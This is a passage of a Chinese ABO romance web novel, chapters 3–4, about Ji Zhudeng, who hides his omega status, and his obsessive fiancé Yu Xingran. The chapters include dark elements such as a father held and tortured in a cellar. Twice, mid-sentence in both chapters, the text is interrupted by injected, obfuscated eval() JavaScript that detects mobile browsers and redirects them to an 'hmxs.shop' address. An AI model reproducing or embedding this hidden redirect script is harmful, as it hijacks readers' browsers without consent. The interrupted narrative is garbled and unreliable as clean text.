《放下,这是我老攻!》 3. 第 3 章【修增2500字】 “无事。”季烛灯摇了摇头。 早餐之后,他顶着郁星然关切的目光去上课了。 季烛灯并没有特别的不适感,相反,睡眠质量似乎比昨日还好上了一些。 鼻尖仿佛萦绕着小鸟的味道,他的心情持续在水平线之上,甚至隐隐还有些愉悦。 不过几天时间,属于郁星然的味道就变得很浓郁了。 虽然这只能算是郁星然衣服上的熏香味,但不妨碍季烛灯对此感到满足。 这种包裹是双向的,小鸟身上也会被他的气息包裹浸染。 毕竟,他们正在同一个‘巢穴’里。 多么美好,多么让人愉悦的事实。 今日的理论课较多,季烛灯对这些知识早已烂熟于心,将课业做完后,他望着光脑的资料,微微出神。 星然…… 郁星然的脸不断在季烛灯的脑海中闪过,他不自觉地舔了舔牙尖。 小鸟总是明媚而又漂亮的,就像是在另一个世界光明盛开的纯洁之花。 这份感情,本就是他靠着卑劣的手段才得逞的,他应该赎罪,应该……放他自由。 可是好不甘心。 季烛灯握着数据笔的手渐渐攥紧,眼神晦暗。 小鸟这么乖,亲吻的时候脸都是粉红羞赧的,他不敢想再进一步,会看见怎样美丽的画面。 假如他是个alpha,他一定会借着易感期与郁星然亲近,若是再不小心擦.枪.走.火,终身标记了,那他便再也不用担心自己的小鸟会飞去别人的笼子里了。 但……谁让他是个omega呢。 一个无用的,甚至不能在小鸟的发.情期为他缓解的O。 季烛灯厌恶极了自己的omega身份。 哪怕他只是个beta,都会搏一搏,光明正大地追求郁星然。 偏偏是omega…… 偏偏是这个一无是处的身份,糟糕透了。 季烛灯的眸子一点点沉了下去。 厉晏照例坐在季烛灯身边,一手托腮,视线不断瞟向同桌。 季烛灯简直漂亮得不像是alpha,那一束阳光恰到好处地落在他身上,衬得那本就挑不出错的脸多了几分说不清的柔和感。 哦,脸色阴沉下来的时候也很美。 厉晏在心底吹了一声口哨。 若不是季烛灯可以干翻那群alpha,他真要以为这位同桌是O装A混进军校机甲系的了。 毕竟先前也发生过这种事,可惜了O就是O,不会有A的体魄和精神力,更无法与Alpha比拟。 下了课,厉晏跟在季烛灯身后,有一搭没一搭地聊着。 “我说,你那个未婚夫,跑到这满是alpha的军校来,还长得那副模样,若是被一些不长眼睛的alpha看见了,怕是会很麻烦吧。” “你也知道,太多的alpha喜欢随便挥洒他们的信息素了……尤其在心动的小O面前。”厉晏意有所指。 真希望季烛灯能把他那位看着就闹腾的omega劝回星校。 厉晏看不上郁星然这样的O,他理想的另一半,就算不能开机甲,也应该是个独立自主,有自己事业的omega。 至于郁星然这满脑子恋爱,只想做个贤妻良母的,一刻都离不开未婚夫的omega。 啧,他家可不缺什么全职保姆,机器人还更好用。 季家应该也不缺吧,真不知道一个只会做饭的omega娶回来有什么用,摆来当花瓶? 郁家确实有权势,但没有挑梁的alpha就注定会走向没落。 要他说,他亲爱的搭档就应该选一个更能帮助他的伴侣联姻。 可惜了,他家里没有合适的o介绍给季烛灯,希望季烛灯能早日醒悟,不要陷在这婚姻的坟墓里吧。 然而,季烛灯却误会了厉晏这番话的意思。 他心底生出几分警觉,唇瓣微抿。 厉晏是不是对郁星然的关注过头了,明明只有昨日的一面之缘…… 小鸟总是如此吸引人,觊觎他的永远不会只有自己。 但厉晏他怎么配得上…… 季烛灯轻咬着舌尖,让疼痛拉回自己的理智,不让自己的杀意外露。 他得尽快和厉晏解绑,减少他们的接触。 他对厉晏的身份有所猜测,但哪怕是和皇室有关又如何,那样肮脏的地方怎么配得上他的小鸟。 或许是情绪上的起伏,季烛灯感到腺体有些微微发烫,异样的热度传了过来。 他抚了抚,确认隔离贴没有问题后,便收回了手。 光脑中传来特别提示音,那是季烛灯专门为郁星然设计的。 他的唇角不自觉地勾起,却在看见信息的下一秒垂了下去。 星然问这周能否先回他们的宅邸? 有问题,绝对有问题。 一种被隐瞒的焦灼感涌上了季烛灯的心头。 小鸟不喜欢季家的氛围,他们在一起后,便在外购置了一处宅邸,平日过去。 季烛灯会固定一段时间回季家处理事务,郁星然很有默契地不去打扰他,这么多年,从未变过。 这一周,应该是季烛灯回季家的时间。 无缘无故,郁星然怎么会提出这样的要求。 季烛灯内心挣扎着,郁星然的消息又传了过来。 【母亲大人出去度假了,家里只有我,你知道这周发.情期……我会打抑制剂,但还是想让你陪陪我,灯灯,如果太打扰你的话……我自己也可以的。】 【不打扰,我陪你。】季烛灯秒回。 郁星然找的理由不算高明,但季烛灯就是难以拒绝。 同意后,季烛灯脸色难看,立即申领了一张提前回去的假条。 他得立即回季家,调查一下情况,看是不是季家那些不老实的家伙,做了手脚。 …… 另一边,拿到季烛灯身体信息的郁星然,脸色同样不好看。 灯灯的身体比他想象得要差的多,几乎要到爆发的临界值。 医疗团队说,必须带着灯灯做更细致的检查。 这么长时间了,他要竟然一点异样都没发现。 他真是该死。 郁星然抱着脑袋,颓废自责了两秒,很快打起精神。 他得安排人手,到时候神不知鬼不觉地帮季烛灯检查治疗身体。 既然灯灯不想暴露,他便一定不会让季烛灯为难的。 灯灯,他的灯灯…… 这些时日,确认季烛灯还爱自己后,郁星然并没有松口气。 他不能让季烛灯的omega身份暴露给梦里的那些alpha。 一个都不行。 *** 在某种默契作祟下,两个人不约而同地瞒着对方请了假。 季家,深色的宅邸下,花园里的花都显得几分森冷的拘谨与肃穆。 “少爷。” 侍从毕恭毕敬,动作整齐得仿佛机器。 季烛灯也不复与郁星然相处时的温柔,面无表情的脸上,一抹阴鸷悄然划过。 他没有犹豫,向着地下走去。 宅邸深处,血腥味渐渐浓郁。 “啪!” 季烛灯苍白削瘦的指骨染上了鲜红,惨叫声中,他深嗅了一口弥散在空气里的血腥气,心情平复了些许。 那被包装隐藏在身体深处的暴戾与嗜血,终于得到了几分缓解。 “父亲。”他开始向囚牢中被折磨的囚徒,汇报季家如今的情况。 他的声音不紧不慢,一边看着眼前受尽折磨的alpha,一边有条不紊地为父亲讲解他见到、学到的。 从小到大,季烛灯都很听父亲的话。 很听。 “你安心地在这里养着,季家的一切,我都会照料好,我现在很幸福,感谢您的教导。” 季烛灯将染着鲜血的手放在胸前,礼仪挑不出错,恭敬的模样,仿佛是个完美的儿子。 囚牢里的季家主,颧骨突出、眼窝深陷,被折磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019919|194251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憔悴得不成人形。 他满是血丝的眼睛,死死盯着季烛灯,不像是在盯儿子,反而像是在看死敌,一个披着人皮的恶魔。 “郁家那个还没发现你的身份吗?” 他忍着痛意嘲讽道。 季烛灯颔首,“星然很爱我。” “是吗,他发现当年的事,是你做的了吗?” 看着季烛灯微变的脸色,季家主咽着血沫,露出了嘲讽嘶哑的笑声。 “星然很爱我。”季烛灯冰冷道:“我们会解除婚约,这些事,他永远不会知道。” 郁星然不会知道他做的事。 那样美好的、生活在阳光下的小鸟,怎么能被这些事情污染眼睛呢? 季烛灯神色晦暗不明。 郁星然是郁家主家独子,而他一个从季家爬上来的旁支,哪里配得上他。 能够和郁星然成为未婚夫夫,全是因为季家主设置的一场局。 他绑架了郁星然,然后再让季烛灯以救命恩人的身份出现,救下了郁星然。 可以说,郁星然能够死心塌地地喜欢他,离不开那场精心布置的谋划。 他们因为此事,顺理成章地定了亲。 郁星然很仰慕他,就像是一位妻子天然地崇拜着他的丈夫。 季烛灯的呼吸急促了几分,太阳穴鼓动抽痛。 不会知道的,郁星然不会知道的。 父亲提起来,只是在威胁他那些残部的手上还有证据没有销毁。 是不是那些老家伙等不及了,透露了风声给星然,他这段时间才会这么反常? 季烛灯眼底杀意涌动。 …… 郁家,花园的金丝玫瑰开得正是热烈。 郁星然路过,一眼就看上了,命令仆从为他拿来工具,要亲自折一些送给季烛灯。 然而,不等他动手,几道轻咳声就让郁星然的手指僵在了半空。 “祖母。” 看见摇椅上悠闲享受阳光的女性,郁星然缩了缩脖子,心虚地想起这些玫瑰都是自家祖母种的。 当着当事人的面摘,多少有点说不过去。 “拿去送给绑架你的那小子?”郁家祖母晃着摇椅,悠悠道。 “您又记错了,那是我的救命恩人。” 郁星然拧起眉,纠正道:“以后灯灯来了,您可不要在他面前乱说,他会害怕多想的。” 郁星然推着祖母,给她挪了一个面,不让她看自己摘玫瑰。 他掩耳盗铃的模样,惹来了这位成年alpha的嘲笑。 郁星然撇着嘴,心底郁闷。 都怪祖母年龄大了,记性不好,总是会说错话,不然他早就能把灯灯带来郁家了。 当然,真正的原因还是他那该死的信息素味。 他为什么不能是草莓芒果花香那样甜甜的信息素啊? 每次季烛灯过来,郁家就要严阵以待,将他房间里外的信息素味全部清除,不留一点气息。 郁星然生怕信息素味道,会断送自己在季烛灯面前苦心经营了十几年的形象。 要知道,他对自己的要求苛刻至极,一定要在方方面面做个完美的妻子,让季烛灯再也找不到第二个他这么好的omega。 都怪信息素拖他的后腿,郁家养的这些废物,十年都没研究出如何改变信息素的味道。 第一次出的方案漏洞百出不说,竟然还会不孕不育。 担心不孕不育被退货的郁星然,哪敢点头同意,连夜把这些研究员痛骂了一顿。 不过,现在灯灯既然是omega,他挖掉生殖腔也没关系吧。 只要信息素的味道能改善一点…… 郁星然看着手上的金丝玫瑰,神色纠结。 灯灯的信息素香香的,他检查的时候多闻到了一点,就被香迷糊了。 垫子上的水都被他一滴不漏地收集走了,主打一个不能浪费。 想到那些觊觎季烛灯的人,郁星然神色阴暗了一瞬。 灯灯……他的灯灯。 4. 第 4 章 离开地下囚牢后,季烛灯给自己补上了一针伪alpha信息素药剂。 陪小鸟度过发情期的话,他一定需要释放自己的信息素。 他不知道郁星然可能查到了什么,只能这样先把自己的信息素伪装过去。 可惜了,这样的信息素压根不能对omega起到安抚作用。 季烛灯闭了闭眼,随后马不停蹄地往军校赶去。 飞行器即将到站时,他瞳孔一缩,倏然放慢了速度。 远处,他辨认出了郁家的飞行器,还有急匆匆走进军校的郁星然。 小鸟离校,为什么没有和他说。 一股不悦的情绪瞬间涌了上来,季烛灯下意识攥紧五指,随后深吸了一口气,立刻调整自己起伏的心情。 他即将和郁星然分手,现在小鸟不向他通报行程,以后他也能逐渐适应。 但分手之后,若是有一些糟糕、肮脏的alpha看中了他的小鸟,试图用下三滥的手段该怎么办? 就像他先前那样,小鸟还会因为一场英雄救美而爱上另一个人吗? 季烛灯发现自己不敢想。 等分开,他还是再安排一些人,暗地里保护郁星然吧。 ……只是保护。 季烛灯会自己戒断的。 后颈传来几分烫意,季烛灯按了按腺体的位置,几分钟后终于让自己冷静了下来。 掐着时间赶到训练场后,他一边训练,一边等待。 时间眨眼到了晚上,郁星然来接他了。 漂亮的omega在人群里十分扎眼,季烛灯几乎下意识就想要为他遮挡那些alpha们传来的视线。 然而他不知道,自己也是被注视的焦点。 阴柔的相貌和几乎不会让人感到不适的信息素,让季烛灯一直都是被alpha们抢夺的‘战利品’。 他在训练场时,训练场的人数都会比之前要增加不少,有不少alpha盼着他能看上自己的实力,从而考虑与自己搭档。 临时搭档也可以啊。 一对过分漂亮的未婚夫夫,真是可惜了。 …… “今天过得怎么样,一直在宿舍里会不会太无聊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019920|194251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去的路上,季烛灯的目光时不时向郁星然瞟去。 “怎么会,宿舍都是灯灯的味道,我待一整天都不会腻。” 郁星然十分喜欢跟季烛灯分享自己的日常,顿时就开心道。 “我跟着网课过了课程,感觉题目还是很简单的,而且不会的话,灯灯一定会教我吧,会有甜蜜教学吗?其他的alp……其他的未婚夫都有的,我也想要。” 郁星然咬了下舌尖,将‘alpha’这个名词吞了回去。 他还想说那些人都是床上教学的,只是怕说出来不符合他的形象。 “我还学习了一种新汤品,等你回去就能尝到啦……还有还有下周就能正式上课了,以后和灯灯一起。” “只有这些?”季烛灯下意识问道。 “啊?”郁星然牵着季烛灯的手,忽然沉默了一瞬。 他像是被抓包的学生,脸颊微微泛红,“其实也有些别的。” 他别扭道,“我今天出去了。” “嗯?”季烛灯心底一紧。 “走快点,等回宿舍你就知道了。”